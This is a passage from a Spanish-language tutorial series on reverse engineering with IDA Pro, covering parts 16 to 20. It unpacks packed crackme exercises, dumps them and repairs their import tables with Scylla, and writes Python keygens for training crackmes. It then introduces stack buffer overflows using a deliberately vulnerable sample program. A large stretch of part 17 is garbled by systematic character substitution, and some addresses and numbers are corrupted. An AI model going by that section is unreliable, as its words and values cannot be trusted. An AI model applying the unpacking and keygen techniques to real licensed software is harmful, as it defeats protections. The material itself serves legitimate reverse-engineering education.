EnableBpt(0x46b002, 0)

Con el segundo argumento igual a 1 lo habilitas, con 0 lo deshabilitas.

Allí quedo en verde o sea deshabilitado y por supuesto en rojo el del stack.
Ahora debemos contnuar con F9 o tpear en Python.

idaapi.contnue_process()

Allí paro justo después del POPAD cuando recupera los registros y vemos que desde el STUB va a saltar
al OEP en 0x4271b0 ya que un PUSH XXX - RET es similar a un JMP XXX, así que traceamos un poco hasta
llegar al OEP.

Ahora debemos reanalizar el ejecutable, como hicimos en el caso anterior y creamos la función, si
quisiéramos solo hacer un snapshot de la memoria a una database para estudiar, este sería el momento,
no lo repetremos en este caso.
Lo siguiente es dumpear para ello debemos hallar la ImageBase y la dirección nal en el últmo
segmento del ejecutable.

En SEGMENTS vemos que la ImageBase es 0x400000 y termina en 0x46e000.

En vez de usar el script que utlizamos en la parte 15 usaremos la versión del mismo de Python.

Como esta tene varias líneas lo armo en un editor de texto y lo guardo como archivo ipython_dump.py
lo adjunto al tutorial también.

Ahora desde el menú FILE-SCRIPT FILE lo abro se ejecuta y crea el archivo aspack.bin no tene icono para
ello usamos el PEEDITOR.
Click derecho DUMP FIXER.

Y al renombrarlo a EXE ya sale el icono.

Ahora abrimos el Scylla 0.98 en esta parte adjunte una versión más nueva, y por supuesto igual que
antes buscare el proceso que está detenido aun en el OEP.

Ahora le ponemos el OEP que es 004271B0 y IAT AUTOSEARCH y GET IMPORTS.

Si apretamos SHOW INVALIDS y elegimos MODO ADVANCED vemos que hay unas cuantas malas,
veamos si lo arregla automátco.
Vemos que no lo puede arreglar así que miraremos a mano.

Ahí vemos la primera entrada en 0x460818, esa es válida y coincide, más arriba empiezan las invalidas,
veamos que hay en la primera invalida más arriba en 0x4600ec.

Si las acomodo un poco con D y luego las agrupo.

Se ven que el contenido no apunta a ninguna dirección valida y también si apretó CTRL mas X no hay
referencias.

Mientras que en una entrada real habrá referencias cuando se use la api, por ejemplo.
Así que esas no son entradas de la IAT, las quitaremos.

Vemos que si limpio con CLEAR y le doy IAT AUTOSEARCH de nuevo, pero le digo que no use las
avanzadas las halla todas bien.

Vemos que la IAT ahora comienza en 0x460810 limpiando las que el MODO ADVANCED había agregado
mal.

Así que ahora puedo buscar el dumpeado y apretar FIX DUMP en el.
Y al reparado lo ejecuto sin problemas.

Y escribimos este tutorial ya que lo pide jeje.

Hasta la parte 17.

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 17
Llegamos a la parte 17 y se supone que al menos debían intentar resolver el ejercicio.

hp://ricardonarvaja.ino/EB//NTaR UCCCN T20ALL20ARBEBRINT%20AC T20ANUL20ARR


20AUBIUB20ACBR /BJBRCNCN I/

Bl mismo es muy simple y hay que desempacarlo como vimos en las partes anteriores y luego
reversearlo para hallar la solución del mismo y si es posible hacer un keygen en Rython.

Bn este caso vamos a cambiar un poco y voy a desempacarlo en orma remota a una máquina
virtual que tengo de Eindows 1A en EMEare Eorkstaton.

La máquina principal para debuggear remoto es donde tengo corriendo el NUL en este caso es
Eindows 7 pero podría ser cualquier Eindows, Linux, N I etc donde tengamos corriendo el NUL
instalado.

Ngual todas las restricciones que ocurran al desempacar remoto serán las mismas que si el
programa lo estuviera debuggeando en Eindows 1A directamente, ya que allí es donde correrá el
archivo empacado, que en este caso se llama RLCKBU_RRLCaNCL_1.exe.

Rara abreviar, de acá en más a la maquina principal donde tengo el NUL instalado, la llamare
“RRNTCNRLL” y a la imagen de Eindows 1A que tengo corriendo en un EMELRB le llamare
“aLR%Ba”.
Lllí está el archivo empacado en el aLR%Ba, y debo copiar también allí de la carpeta donde tengo
instalado el NUL en la RRNTCNRLL, el servidor remoto llamado win30_remote.exe ya que mi sistema
Eindows 1A es de 64 bits, pero el programa empacado es de 30 bits, así que debo correr el server
de 30 bits.

Copiamos también el ejecutable RLCKBU_RRLCaNCL_1.exe a la RRNTCNRLL para realizar el análisis


en orma L CLL y lo abrimos en el L LUBR poniendo la tlde en MLTCLL L LU para que lo analice
y cargue todas las secciones.

Lllí estamos en el L LUBR mostrando el Bntry Roint del programa empacado, aun no arrancamos
el UB/C%%BR.
Bs muy importante no renombrar el NU/ o sea que si el ejecutable se llama
RLCKBU_RRLCaNCL_1.exe en la RRNTCNRLL, al analizar guardara en la misma carpeta un NU/ y
debería llamarse RLCKBU_RRLCaNCL_1.idb y no de otra orma, sino habrá problemas para
reconocer que el proceso remoto corresponde al mismo ejecutable analizado localmente.

Lrrancamos el server remoto win30_remote.exe en el aLR%Ba.


Lllí arranca el server remoto de NUL y escuchara en el NR y puerto que dice allí, en mi caso NR
1A.8A.65.157 y puerto 03946, copien los datos que muestra el de ustedes.

Cambien el debugger a RBM aB ENTU EI UB/C%%BR.

Bn RR CBII RaN TI ponen el NR y R Ra del server de NUL y como necesitamos arrancarlo desde
el inicio para desempacar ya que no nos podemos atachear porque ya lo encontraríamos
corriendo, tendremos que arreglar las rutas que muestra allí, para que coincidan con la ubicación
del ejecutable en el aLR%Ba.
Bn mi caso el desempacado en el aLR%Ba está en el UBIKa R y allí el path en mi caso será
C:\Csers\admin\Uesktop\RLCKBU_RRLCaNCL_1.exe

Lsí que lo arreglo.

Lhora sí le damos a IaLRa RR CBII y parara en el entry point de esta orma están detenidos en el
BTaRY R NTa del empacado en M U UB/C%%BR.
Lo que si podemos apreciar que dado que el ejecutable tene randomizacion las direcciones de
donde se cargan varían cada vez que se reinicia, por lo cual es importante desde que lo
arrancamos, dumpeamos y reparemos, la NLa sea el mismo proceso sin cerrarlo para que no
cambien las direcciones entre tro y tro.

Lhora vamos a mirar la primera sección de código después del header en IB%MBTaI.

Bn mi caso veo que se inicia en 031AAA y termina en 038AAA.

Ii solo hiciéramos un IBLRCH F R aBXa para hallar el R RLU o R RL en este caso, hallaríamos el
que se ejecuta justo antes de saltar al BR.
Lllí ya sabríamos que el BR está en Ax03146e pero puedo hallarlo poniendo un /RBLKR NTa en
BJBCCCN T que abarque toda la primera sección.

Eoy al inicio de la misma en Ax031AAA.

Lllí veo los datos que saca del header, obviamente las direcciones no coinciden por la
randomizacion, la imagebase no es Ax4AAAAA pero el ENRaCLL INZB si es Ax7AAA o sea el tamaño de
la sección en la memoria coincide ya que empieza en Ax031AAA y termina en Ax038AAA la
di erencia es Ax7AAA bytes.

.
Lli que pongo un breakpoint con F0 allí en el inicio de la sección, en mi caso Ax031AAA o la
dirección que corresponda en su máquina de largo Ax7AAA.

/orro todos los otros breakpoints que quede solo este y apreto F9 para que corra.

Lllí se detene y coincide con la dirección que habíamos visto que era el BR, ahora borro el
/RBLKR NTa para quitar lo rojo.

Hago click derecho en la esquina in erior izquierda RBLTLLNZB RR %RLM.


Bn este caso lo tomo como si uera un bloque del mismo IaC/ por eso no le puso sub_ de prefjo y
lo dejo como loc_ igual no hay problema.

Lhora edito el script dumpeador en Rython para que muestre la Nmage/ase real mía y el fnal del
archivo.

sea que la imagebase en mi caso es Ax03AAAA y el fnal Ax03bAAA.


Lllí cambio lo valores y lo corro desde FNLB-ICRNRa-FNLB.

Lllí lo guarda ya que el script corre en la maquina RRNTCNRLL.

Lo abro con el RBBUNa R y le hago el UCMRFNXBR.

Lo renombro como exe.


Ya aparece con el mismo icono del empacado ahora abro el Icylla en la aLR%Ba y copio el
packed.exe allí.

Lhora le doy a NLa LCa IBLRCH.


Le cambio el BR por Ax03146e que habíamos hallado.

Eeo que hay una sola entrada NTEÁLNUL luego del NLa LCa IBLRCH y %Ba NMR RaI.

Iumando la imagebase más la entrada invalida

Python>hex(0x230000+0x20d4)
0x2320d4

Eeo que parece ser ruido no creo que sea parte de la NLa verifquemos mirando en el listado si esa
dirección tene re erencias.

Eemos que si tene re erencias

Eeamos donde va.


Eemos que termina yendo a un RBa.

Eeo que no es un problema ya que va a un valor fjo del programa que es un RBa no a una api, así
que hare en la entrada invalida CLNCK UBRBCH -CCa aHCTK para eliminarla de la NLa.

Lhora hago FNX UCMR del packed.exe y me queda el packed_ICY.exe sin embargo ese aun no
corre y es porque en el dumpeado no se reallocan las direcciones que ueron creadas en runtme
que no pertenecen a la NLa y cambian siempre al arrancar, así que le quitare la randomizacion lo
abro al packed_ICY.exe en el NUL con manual load cargando el header también y voy al mismo.
Lllí esta ULL CHLRLCaBRNIaNCI en el suyo estará di erente de cero porque yo ya lo cambie.

Con el menú BUNa-RLaCH RR %RLM-CHLT%B E RU lo cambian a cero.


Y luego lo guardan ahí mismo con LRRLY RLaCHBI a NTRCa FNLB.

Y listo.

Ya está desempacado en la parte 18 lo reversearemos.

Hasta la parte 18

Ricardo Tarvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
18
En la parte anterior hemos desempacado el ejecutable del ejercicio y lo hicimos funcionar, en esta parte
lo reversearemos para ver si podemos hacer un keygen en Python.

Es bueno recordar que para un análisis estátco no es necesario descomprimir, solo con llegar hasta el
OEP y hacer un TAKE MEMORY SNAPSHOT, y copiando el idb a otro lugar y abriéndolo, ya se podría
analizar estátcamente, pero bueno tenerlo desempacado nos permite también debuggear y eso a veces
puede ayudar.

Abro el desempacado en el IDA y lo primero que siempre me fjo son las strings.

Bueno sabemos que lo primero que hace el programa es imprimir la string Pone un user.

Así que haciendo doble click en dicha string


Y buscando la referencia con X.

Voy allí.

Vamos a reversear estátcamente a partr de aquí.

En las funciones basadas en EBP, dijimos, primero guarda en el stack el EBP de la función que llamo a
esta con PUSH EBP y luego hará un MOV EBP, ESP para setear EBP con el valor de referencia para esta
función, a partr de donde se calculan las posiciones de los argumentos variables y bu ers.

Vemos es que reserva 0x94 bytes para las variables locales y bu ers, a partr de valor base de EBP.

Bueno haciendo doble click en cualquier variable o argumento el LOADER muestra la vista estátca del
stack.
Eso lo vemos allí, esta es una función sin argumentos porque esos se pasan primero con los PUSH antes
de llamar a la función y estarían debajo del return address (r), en este caso no hay nada debajo de r por
lo cual es una función sin argumentos.

Es el mismo caso de la vez anterior es la función main y tene argumentos que son argv y argc etc, pero
como no los usa dentro de la función, ida no los considera.
Renombraremos la función a main y al hacerlo ida me agrega automátcamente los tres argumentos.

Igual si apretamos X en cualquiera de los tres.

No se utlizan así que no le daremos mucha importancia.

Volviendo a la visión estátca del stack, vemos ahora que están los argumentos debajo del return
address como corresponde, luego s que es el STORED EBP como dijimos que guarda el EBP de la función
anterior con PUSH EBP y hacia arriba el espacio para las variables que normalmente tene esa variable
var_4 que es para proteger el stack de bu er over ows.
Tiene dos referencias una al inicio de la función cuando guarda el valor de la cookie de seguridad allí en
el stack.

Dicho valor es un valor random que se XOREA con EBP y se guarda allí en var_4 al iniciar la función y la
otra referencia es aquí.

Donde vuelve a recuperar el valor original guardado y lo vuelve a XOREAR con EBP para recuperar el
valor original en ECX y dentro de ese CALL chequeara el mismo.
Si todo esta correcto retornara, pero si ECX no tene el valor original de _security_cookie se va al JMP
ese que va a EXIT y no te deja llegar al RET de la función.

Ya veremos que solo puede ocurrir que vaya a EXIT si hubo un OVERFLOW que machaco el valor de
var_4 dentro de la función, por ahora renombremos a CANARY o SECURITY COOKIE, la var_4.

Ahora quedo más lindo.

Luego vemos dos variables que aún no sabemos que son que se inicializan a cero, y una variable que ya
tene el nombre size que se inicializa a ..

Si vemos las referencias a var_7d, vemos que se usa aquí.


Guarda en valor de AL en dicha variable al volver de un CALL y luego levanta ese byte a EDX para
chequear si es cero o no, para decidir si somos buenos reversers o no, así que es una variable de un solo
byte, y le pondremos FLAG_EXITO.

Verifcamos en la vista estátca que esta detectada como tpo byte.

Le cambiamos el nombre con N.

Ahora quedo mejor, pinto de verde el bloque de chico bueno y de rojo o naranja para que se vea el
contenido el de chico malo.
Obviamente si solo fuera parchear ese salto JZ sería el punto justo, pero trataremos de llegar al fnal de
esto.

Vemos que la otra variable var_90 que ponía a cero al inicio, va sumando los bytes que va leyendo del
Buf ya que lee de a uno y lo pasa a EDX en 0x231109 y luego lo suma a cero en el primer ciclo, y EDX
siempre va guardando la sumatoria de todos los bytes ya veremos que contene el Buf que está leyendo,
pero por ahora pongámosle sumatoria.

Vemos que var_.4 es el contador de ese LOOP donde va sumando, pero vemos que el mismo solo suma
los primeros cuatro bytes ya que la salida es cuando ese valor es mayor o igual a 4.

Allí vemos el CONTADOR y como se va incrementando.


Obviamente también se va sumando en 0x231109 al inicio del Buf para ir leyendo y sumando los
siguientes bytes.

Bueno ya vimos que ese LOOP va leyendo los bytes de Buf y los suma y los va guardando esa suma en
SUMATORIA, veamos que tene Buf.
Vemos que Buf al inicio se llena con . bytes como máximo con el nombre del user, usando gets_s para
ingresar por teclado.

Nos faltaba cambiar esa función a prin

Listo.

También en la representación estátca vemos el largo del bu er Buf con click derecho-ARRAY.
Coincide con el código fuente

La representación del stack se va aclarando.

Además luego de recibir en el Buf, le pasa el mismo a strlen para saber el largo de lo que tpeaste.

Por lo tanto, la var_.. es la cantdad de bytes de lo que tpeamos.


Y si la misma es menor que 4 te tra a EXIT.

Ya tenemos visto que ese LOOP suma los cuatro primeros bytes del user que tpeamos, así que lo
agruparemos para que no moleste a la vista clickeando en las barras de cada bloque apretando CTRL.

Ahora quedo mejor, con click derecho-GROUP NODES y lo puedo desagrupar si necesitara con
UNGROUP.
Vemos que vuelve a utlizar el mismo Buf para ingresar el password, ya que ya tene guardada la
sumatoria de los primeros 4 bytes de user.

También se fja con strlen el largo y si es menor que 4 te tra a EXIT.

Si es 4 o más el largo sigue por el bloque verde.

Luego toma el password y lo convierte a valor hexadecimal con ATOI, en Python sería equivalente a la
función hex().
Allí vemos que XOREA el password en HEXA con 0x1234 y lo vuelve a guardar en la misma variable.

Vemos que le pasara ambos la sumatoria de los 4 primeros bytes del user y el valor hexa xoreado con
0x1234 del password a esa función que llamaremos CHEQUEO_EXITO, su resultado hace que salte a
chico bueno o chico malo.

Allí vemos los dos argumentos, arg_4 será el que primero se pasa o sea en la referencia será el que se
PUSHEA primero.

Así que renombraremos dentro de la función ambos argumentos.


Ahora propagaremos los argumentos con click derecho SET TYPE.

Con lo cual se declara la función.

Y veremos si coincide en las referencias.

Vemos que los carteles azules que aparecen al propagar coinciden con los nombres en la referencia, así
que está todo bien.

Veo que antes de comparar ambos hace SHL EAX, 1 lo cual equivale a multplicar por 2.
Entonces si son iguales va al bloque verde donde pondrá AL a 1 y lo devolverá siendo el FLAG_EXITO que
decidir si somos buenos reversers o no.

Así que resumiendo

Toma los primeros 4 bytes de USER y los suma

El PASSWORD lo pasa a HEXA y lo XOREA con 0x1234 y lo multplica por 2

Haremos una formula suponiendo que conocemos el USER ya que el keygen se basa en eso, dado un
cierto USER hallar el password correspondiente.

X = PASSWORD ya convertdo a HEXA

(X ^ 0x1234)* 2 = SUMATORIA

Si despejamos X

X ^ 0x1234= (SUMATORIA/2)

X= (SUMATORIA/2) ^ 0x1234

La función XOR es inversible y se puede pasar de miembro sin problemas ya que si.

A^B=C

A=B^C

Bueno la cuestón es que el valor a hallar X es igual a

X= (SUMATORIA/2) ^ 0x1234

Si mi nombre fuera pepe el cual es válido ya que es menor que . bytes de largo la sumatoria de los bytes
seria.

Allí obtuvimos la sumatoria de mi user pepe.


Pero recordemos que no suma todos los bytes sino solo los cuatro primeros.

Allí quedo mejor ya que chequea que sea mayor o igual que 4 al igual que hace el programa.

Podemos hacerlo genérico para cualquier user que se tpee.


Vemos que usando raw_input obtenemos lo que se tpea por consola.

El resultado para pepe es similar la sumatoria da 0x1aa pero puedo obtenerla para cualquier user.

Teníamos la formula

X= (SUMATORIA/2) ^ 0x1234

Así que debería dividir por 2 y hacer el XOR con 0x1234 para hallar el password en hexadecimal.
Si lo pruebo

Ya tenemos el keygen no necesitamos hacer la conversión del password hexa a decimal porque Python
al imprimir lo hace siempre imprimiendo en decimal por default.
Vemos que suma solo los primeros 4 caracteres del nombre de usuario, el password da igual si es más
largo pero los 4 caracteres iniciales son similares.

Igual el ejercicio crashea al tpear . caracteres ya que deben ser . en total incluyendo el 0 fnal de la
string.

Hasta 7 funciona bien.

Solo hay un problema cuando la sumatoria da negatva

No tendría solución ya que el password termina multplicándose por 2 y siendo una multplicación de
enteros nunca dará impar, así que le agregaremos ese chequeo.
Allí verifcamos el resto de dividir por dos si es cero es par sino es impar y no tene solución.

Creo que nuestro keygen ya quedo bastante bien, así que podemos terminar esta parte y vernos en la
siguiente.

Hasta la parte 19

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 19
En este capítulo ya estamos en condiciones de reversear el crackme de Cruehead original y eso
haremos, así que lo abrimos en el LOADER sin tldar ANUAL LOAD total es solo reversing el
original no está empacado, así que no es necesario cargarlo manualmente.

Allí se detuvo, en este caso al no ser una aplicación de consola, no es solo analizar la función main,
sabemos que en aplicaciones con ventanas existe el LOOP de mensajes que van procesando lo
que el usuario va interactuando con la ventana, los click que realiza etc. y según cada acción del
usuario, está programado para ejecutar diferentes funciones con su código.

Sabemos que lo primero siempre es intentar por el lado de las strings, si esto falla se deben mirar
las apis o funciones que utliza el programa, en este caso las strings están bien visibles así que
encararemos por este camino.
Siguiendo la string NO LUCK habíamos llegado a la zona donde tomaba la decisión, ya que
haciendo doble click en dicha string vamos a

Viendo la referencia con X o CTRL +X

Vemos que hay dos referencias a dicha string.

Veamos la primera.

Pinto de rojo el bloque ya que es uno de error o chico malo.


Veamos de donde viene.

Así que el otro camino debe ser el chico bueno, miremos dentro de la función 0x40134d.

Así que en la referencia.


La otra referencia a la string de NO LUCK venia de acá.

Y la referencia de este otro cartel de error viene de acá.


Vemos que el argumento que le pasa a esa función es la dirección (OFFSET) de una variable global
que se llama STRING, vemos si hacemos click en ella donde está ubicada.

Es un bufer de 3698 bytes de largo en la dirección 0x40218e en la sección DATA.

Vemos que tene un par de referencias para ver que string guardara allí.

Vemos que hay una referencia que viene de aquí.


La api GetDLGItemTextA se utliza para introducir algún dato, veamos.

Bueno ahí va a entrar algún texto con el teclado.


Vemos que hay dos entradas contnuadas con el mismo handle hWnd, por lo tanto supongo que
deben ser las entradas para user y password que el crackme tene cuando entras a REGISTER.

También vemos que ambos tenen el número de control nIDDlgItem de cada uno, 0x3e8 y 0x3e9.

Utlizando el programa GREATIS WINDOWSE que nos da información acerca de las ventanas donde
pasamos el mouse.

h p://www.greats.com/wdsetup.exe
Veri co que el control id de la caja de texto de arriba es 0x3e8 y la de abajo 0x3e9.

También puedo renombrar los bufers donde recibe las strings, el primero como corresponde al
user a String_USER y el segundo como String_PASSWORD, ambos solo aceptan 0x0b caracteres de
largo máximo, a pesar de ser los bufers mas grandes.
Bueno ya sabemos dónde se guarda el user y password que se tpea, veamos que hace con las
misma.

La String_USER ya habíamos visto que la procesaba aquí dentro.

Analicemos que hace con la misma, pero antes podemos cambiar los nombres de las funciones ya
que aparentemente la primera procesa la String_USER y la segunda procesa la String_PASSWORD

Ahora si analicemos PROCESA_USER.


Renombrando la variable uso para respetar el mismo nombre que uso IDA, aunque podría haber
puesto p_String_USER ya que es también es el puntero a la misma.

Con SET TYPE propago la función y me jo si coincide el argumento en la referencia.

Vemos que la aclaración que agrego coincide con el nombre del argumento.
Vemos que hay un LOOP que ira leyendo los BYTES de la String_USER, mientras que no sea cero el
byte o sea hasta que no termine la string se repetrá el LOOP e ira por el camino de la echa ROJA.

Allí se ve el LOOP completo va incrementando ESI para ir leyendo byte a byte cada carácter de la
String_USER, cada uno que toma los compara con 0x41.
Podemos hacer click derecho en el 0x41 y cambiar por la A que es el carácter ASCII de ese valor.

La cuestón es que si es más bajo que el carácter A te tra a NO LUCK, así que si vemos la tabla
ASCII, no acepta números en USER solo letras ya que deben ser mayores o iguales que A.
Así que chequea que todos los caracteres de la String_USER sean mayores que 0x41 o sea A por lo
menos.
También chequea JNB si no es más bajo que Z lo manda a ese BLOQUE en 0x401394, sino lo deja
como esta y sigue con el siguiente carácter por el camino de bloques verdes.

Así que acepta las letras mayúsculas salvo la Z los caracteres mayores o iguales a Z van a ese
bloque veamos que hace en el mismo.

Le llame resta_20 porque eso es lo que hace, si es más grande que Z le resta 20 y lo guarda.

O sea que si pasas 0x61 que es la “a” minúscula al restarle 0x20 quedara valiendo 0x41 que es la
“A “ mayúscula, hace lo mismo con todos los caracteres más grandes o igual que Z.

Si es la Z menos 0x20 nos da 0x3a que es el símbolo de dos puntos.


La cuestón es que podemos ir armando un script de Python para ir armando el keygen.

user=raw_input()
largo=len(user)
if (largo> 0xb):
exit()

userMAY=""

for i in range(largo):
if (ord(user[i])<0x41):
print "CARACTER INVALIDO"
exit()
if (ord(user[i]) >= 0x5a):
userMAY+= chr(ord(user[i])-0x20)
else:
userMAY+= chr(ord(user[i]))

print "USER",userMAY

Vemos que el script hace lo mismo que el programa, va tomando uno a uno los caracteres de la
string user y compara con 0x41 si es menor te dice que es un carácter invalido y te tra a EXIT sino
ve si es mayor o igual que 0x5a y si es así le resta 0x20 y lo va agregando a la string user AY.

Vemos que si ingreso pePP me lo transforma en PEPP.

Y si ingreso la Z me la transforma en dos puntos como vimos.


Así que hasta ahí vamos igual que el programa, cuando sale del LOOP veamos que hace sigue por
aquí.

Cuando halle un carácter que sea cero terminara el LOOP e ira al bloque en 0x40139c.
Vemos que antes de ir incrementando ESI, lo había PUSHEADO al stack para guardar el valor
original que apunta al inicio de la string, y allí con el POP ESI lo recupera antes de entrar al call
0x4013c2.

Vemos que es un LOOP que suma todos los bytes por eso lo llame SU ATORIA, así que podemos
agregar eso en nuestro script.
Sumo todos los bytes e imprimo la sumatoria.

Para comprobar si voy bien pongo un breakpoint al salir de la sumatoria y pongo pepe en el campo
user y password 989898.

Veo que la sumatoria da 0x12a así que vamos bien.

Justo en esa línea XOREA con 0x5678 así que lo agrego al script.
Si ejecuto esa línea XOREA y da lo mismo que el script.

Luego mueve el resultado a EAX y sale

Luego PUSHEA EAX lo recuperara con POP EAX antes de la comparación nal, o sea que en el C P
EAX, EBX, el primer miembro será este valor que sale de PROCESA_USER.
Veamos ahora que hace con el password en PROCESA_PASS.

Allí vemos

Va leyendo cada byte lo mueve a BL y a cada uno le resta 0x30 que queda en EBX, luego multplica
EDI que tene la sumatoria por 0x0a y le suma EBX.
Hare otra parte del script con esto.

No ingreso el password por teclado solo estoy probando ya que en el keygen solo se ingresa el
usuario, pero vero que si mi password es por ejemplo 989898.

A sum2 que es la sumatoria que va guardando lo multplica por 0xa y luego le suma el byte menos
0x30 como hace el programa.
Al ejecutarlo veo que el password 989898 me dio como resultado de todo eso el valor f1aca que es
el valor hexadecimal de la string 989898.

Así que todo eso en el script se puede resumir a pasar a hexadecimal la string con la función hex().

e da exactamente lo mismo.
Al terminar XOREA ese resultado con 0x1234 y sale a compararlo con el valor que recupera en EAX
que devolvió PROCESA_USER.

Así que la formula genérica seria.

hex(password)^0x1234 = XOREADO

Donde XOREADO es el resultado que me devolvía PROCESA_USER.

Si despejo

hex(password) = XOREADO ^ 0x1234

O sea que si al resultado que tenía lo xoreo por 0x1234 ya casi lo tengo veamos.
Si corremos eso con la string pepe
Así que ya tenemos el keygen y como antes no es necesario pasar el resultado a decimal porque ya
Python nos hace la conversión.

Aquí lo copio al keygen.

sum=0
user=raw_input()
largo=len(user)
if (largo> 0xb):
exit()

userMAY=""

for i in range(largo):
if (ord(user[i])<0x41):
print "CARACTER INVALIDO"
exit()
if (ord(user[i]) >= 0x5a):
userMAY+= chr(ord(user[i])-0x20)
else:
userMAY+= chr(ord(user[i]))

print "USER",userMAY

for i in range(len(userMAY)):
sum+=ord (userMAY[i])

print "SUMATORIA", hex(sum)

xoreado= sum ^ 0x5678


print "XOREADO", hex(xoreado)

TOTAL= xoreado ^ 0x1234

print "PASSWORD", TOTAL


Incluso en casos medios raros con la Z

Así que reverseamos e hicimos un keygen del crackme de Cruehead, nos vemos en la parte 20.

Hasta la próxima.

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
20
________________________________________________________________________

Vulnerabilidades.
En esta parte veremos sobre el tema vulnerabilidades y cómo analizar algunas de las más
simples.

Que es una vulnerabilidad?

En seguridad informática, la palabra vulnerabilidad hace referencia a una debilidad


en un sistema permitiendo a un atacante violar la confidencialidad, integridad,
disponibilidad, control de acceso y consistencia del sistema o de sus datos y
aplicaciones.

Las vulnerabilidades son el resultado de bugs o de fallos en el diseño del sistema.


Aunque, en un sentido más amplio, también pueden ser el resultado de las propias
limitaciones tecnológicas, porque, en principio, no existe sistema 100% seguro. Por
lo tanto existen vulnerabilidades teóricas y vulnerabilidades reales.

Lo mismo se aplica a programas, un programa vulnerable es el que tiene bugs o fallos de


programación y según el tipo de bugs podrán ser explotados, llegando hasta ejecutarse
código malicioso en dicho programa, pero también puede fallar la autenticación, y permitir
acciones que no debería al usuario, provocar crashes, permitir elevar privilegios, etc.

Por supuesto a nivel de bugs de corrupción de memoria, los más sencillos son los buffers
overflows.

Los mismos se producen cuando un programa reserva una zona de memoria o buffer para
almacenar datos y por algún motivo no se chequea adecuadamente el tamaño de los datos
a copiar y se desborda el buffer copiando más del tamaño reservado, pudiendo pisar
variables, argumentos y punteros que se encuentran en la memoria.

El tipo más sencillo de buffer overflow es el stack overflow, que es cuando se produce un
desborde en un buffer reservado en el stack.

En el código fuente de un programa sencillo en C un buffer puede ser

char buf[xxx];
Donde xxx es el tamaño del buffer en este caso es un buffer en el stack de 0x300 bytes de
largo.

Evidentemente el programa no hace nada, pero lo compilamos y veremos en el IDA.


Esta adjunto como Compilado_1.exe.

Ya habíamos visto que buscando las referencias de argc o argv llegábamos a la llamada al
main en un programa de consola.

Haciendo doble click llego allí

Y buscando las referencias con X.


Buscando referencias llegamos al conocido bloque que llama al main en este caso le puso
otro nombre quizás porque no hace nada.

Si entramos a la función no reserva nada porque no usa el buffer, y vuelve devolviendo cero
en EAX.

Deberemos usar el buffer para que termine de reservar espacio.


Ahora utilizamos la función gets_s para que el usuario tipee algo en la consola y se guarde
en el buffer con lo cual ya lo estamos utilizando.
Vemos que dicha función tiene dos argumentos el buffer y el tamaño máximo de lo que
podes tipear, para que no se desborde, obviamente en el ejemplo no hay overflow porque el
size que copia no es mayor que el del buffer creado de 0x300.

Vemos que no hay posibilidad de overflow, mientras que lo que se copie no desborde los
0x300 bytes reservados estará todo bien, mientras que ingreses menos o igual que 0x300.

Veámoslo en el IDA este estará adjunto como Compilado_2.exe.


Lo compile con símbolos y IDA también encontró los símbolos en mi maquina ya que yo lo
compile.

Se ve mucho mejor, ya aparecen el main con sus argumentos y variables.

Analicemos un poco en el IDA, reverseando.

Haciendo doble click en cualquier variable o argumento vamos a la representación estática


del stack.

Vemos los tres argumentos envp, argv y argc que no los usamos dentro de main.

Los mismos se colocan en el stack al pushearlos antes de llamar al main.

Eso ubica los tres argumentos en el stack antes de hacer el CALL main.
Este guarda el RETURN ADDRESS que es la dirección que guarda para saber dónde debe
volver al salir del CALL, en este caso el return address tendrá el valor 0x401200 si no hay
randomizacion.

Allí volverá al terminar de ejecutar el main, así que debe guardar ese valor 0x401200 en el
stack justo arriba de los tres argumentos.

Luego ya empieza a ejecutar el main lo primero es el PUSH EBP.

Eso guarda en el stack el valor de EBP que utilizaba la función que llamó al main, justo
arriba del RETURN ADDRESS 0x401200, no sabemos qué valor tendrá porque cambia con
la ejecución, pero es el EBP guardado o STORED EBP de la función padre de esta.
Allí estará guardado en el stack arriba del return address.

Lo siguiente que se ejecuta es.

Donde pone EBP como base en esta función igualándolo con ESP, esto es un MOV solo
cambia el valor de EBP, no el stack.
Luego la siguiente instrucción sub esp, 0x304 mueve ESP hacia arriba reservando espacio
para las variables locales y buffers en el stack, que se ubican encima del STORED EBP y
ESP quedara trabajando en una función basada en EBP, justo arriba del espacio reservado.
Allí vemos el espacio reservado para variables y buffers, justo arriba de la s (STORED
EBP).
La primera variable que casi siempre se encuentra es el CANARY de protección del stack,
en este caso se llama var_4.

Allí vemos que lee el valor de _security cookie que es un valor random que se crea diferente
cada vez que se ejecuta el programa lo XOREA con EBP y lo guarda en la variable var_4
como ya habíamos visto, la renombramos a CANARY.

Vemos que arriba de CANARY esta Buf veámoslo en la representación estática del stack.
Cuando veo espacio vacío en la representación estática posiblemente haya un buffer, así
que hacemos click derecho en Buf y elegimos ARRAY.

Vemos que el largo es de 768 por 1 que es el size de cada elemento, por lo tanto el tamaño
del buffer es 768 que en hexadecimal es 0x300.
Así que aceptamos y queda el Buf ya definido como un buffer de 0x300 bytes hexa o 768
decimal.

Allí vemos la llamada a gets_s, el size máximo 0x300 y el otro argumento es la dirección del
buffer que se obtiene mediante el LEA.

Así que verificamos que el size del Buf era 0x300 y copia al mismo 0x300 como máximo
que se pasa a gets_s.

Es obvio que si pudiéramos haber desbordado el buffer copiando más de 0x300 hubiéramos
pisado el CANARY el STORED EBP y el RETURN ADDRESS que están justo debajo del
BUFFER.
Pero no es el caso este es un buen ejemplo de un buffer que se escribe en forma correcta.

Obviamente muchas veces se le da al usuario o se ingresa de alguna manera el tamaño de


los datos que van a copiarse, si es así debería chequearse bien que ese size no sea mayor
que el tamaño del buffer.
Allí vemos un buffer de 0x10 bytes o sea 16 decimal y se le da la posibilidad al usuario de
que tipee el size de lo que va a copiar en el gets_s obviamente no hay ningún chequeo ni
nada del máximo de ese valor, por lo cual si lo compilo y lo ejecutó (Compilado_3.exe).

Vemos que ahí hay un BUG y que el programa es vulnerable si lo abrimos en IDA, aun si no
tuviéramos el código fuente.
Igual que antes está el CANARY, justo arriba está el Buf, veamos el largo del mismo en la
representación del stack.
El largo del Buffer es de 16 bytes por 1 que es el largo de cada elemento, o sea que es
0x10 hexa.

O sea que si se puede copiar más de 16 bytes en el buffer desbordara y pisara el CANARY,
STORED EBP y el RETURN ADDRESS.

Veamos la variable size.

Vemos que luego de imprimir con printf el mensaje Please enter Your Number, llama a
